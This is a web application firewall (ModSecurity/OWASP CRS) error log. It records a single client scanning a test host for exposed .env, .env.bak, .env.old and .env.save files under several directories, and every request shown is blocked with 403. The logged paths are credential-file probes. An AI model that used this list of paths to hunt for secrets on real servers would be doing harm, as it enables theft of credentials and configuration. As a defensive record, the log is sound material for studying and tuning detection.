[Thu Oct 30 20:08:09.036965 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lvwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.037163 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lvwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.037432 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lvwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.037638 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lvwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.822045 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lwAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.822458 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lwAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:09.822739 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aQO3mUIRheG_olLGGo-lwAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:10.958533 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3mkIRheG_olLGGo-lwQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:10.958813 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3mkIRheG_olLGGo-lwQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:10.959012 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3mkIRheG_olLGGo-lwQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:11.520388 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3m0IRheG_olLGGo-lwgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:11.520572 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3m0IRheG_olLGGo-lwgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:11.520859 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3m0IRheG_olLGGo-lwgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:11.521065 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3m0IRheG_olLGGo-lwgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.070366 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lwwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.070569 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lwwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.070865 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lwwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.071077 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lwwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.645765 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lxAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.646022 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lxAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:12.646255 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3nEIRheG_olLGGo-lxAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.208682 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.208956 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.209141 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.730648 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.730832 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.731068 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:13.731259 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3nUIRheG_olLGGo-lxgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.242605 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] 